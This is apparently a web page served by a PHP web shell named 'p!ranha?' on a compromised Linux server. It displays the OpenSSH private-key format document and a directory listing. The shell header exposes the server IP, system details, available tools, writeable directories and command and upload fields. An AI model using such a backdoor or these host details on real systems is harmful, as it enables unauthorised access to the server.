p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/openssh-7.4p1/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/doc/openssh-7.4p1/PROTOCOL.key
This document describes the private key format for OpenSSH.

1. Overall format

The key consists of a header, a list of public keys, and
an encrypted list of matching private keys.

#define AUTH_MAGIC      "openssh-key-v1"

	byte[]	AUTH_MAGIC
	string	ciphername
	string	kdfname
	string	kdfoptions
	int	number of keys N
	string	publickey1
	string	publickey2
	...
	string	publickeyN
	string	encrypted, padded list of private keys

2. KDF options for kdfname "bcrypt"

The options:

	string salt
	uint32 rounds

are concatenated and represented as a string.

3. Unencrypted list of N private keys

The list of privatekey/comment pairs is padded with the
bytes 1, 2, 3, ... until the total length is a multiple
of the cipher block size.

	uint32	checkint
	uint32	checkint
	string	privatekey1
	string	comment1
	string	privatekey2
	string	comment2
	...
	string	privatekeyN
	string	commentN
	char	1
	char	2
	char	3
	...
	char	padlen % 255

Before the key is encrypted, a random integer is assigned
to both checkint fields so successful decryption can be
quickly checked by verifying that both checkint fields
hold the same value.

4. Encryption

The KDF is used to derive a key, IV (and other values required by
the cipher) from the passphrase. These values are then used to
encrypt the unencrypted list of private keys.

5. No encryption

For unencrypted keys the cipher "none" and the KDF "none"
are used with empty passphrases. The options if the KDF "none"
are the empty string.

$OpenBSD: PROTOCOL.key,v 1.1 2013/12/06 13:34:54 markus Exp $
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:39
0 / 0
0755
CREDITS
5.364 KB
December 19 2016 04:59:41
0 / 0
0644
ChangeLog
302.832 KB
December 19 2016 05:21:19
0 / 0
0644
INSTALL
9.21 KB
December 19 2016 04:59:41
0 / 0
0644
OVERVIEW
6.548 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL
16.395 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL.agent
18.272 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL.certkeys
11.101 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL.chacha20poly1305
4.517 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL.key
1.503 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL.krl
5.046 KB
December 19 2016 04:59:41
0 / 0
0644
PROTOCOL.mux
6.115 KB
December 19 2016 04:59:41
0 / 0
0644
README
2.561 KB
December 19 2016 04:59:41
0 / 0
0644
README.dns
1.569 KB
December 19 2016 04:59:41
0 / 0
0644
README.platform
3.952 KB
December 19 2016 04:59:41
0 / 0
0644
README.privsep
2.262 KB
December 19 2016 04:59:41
0 / 0
0644
README.tun
4.775 KB
December 19 2016 04:59:41
0 / 0
0644
TODO
2.545 KB
December 19 2016 04:59:41
0 / 0
0644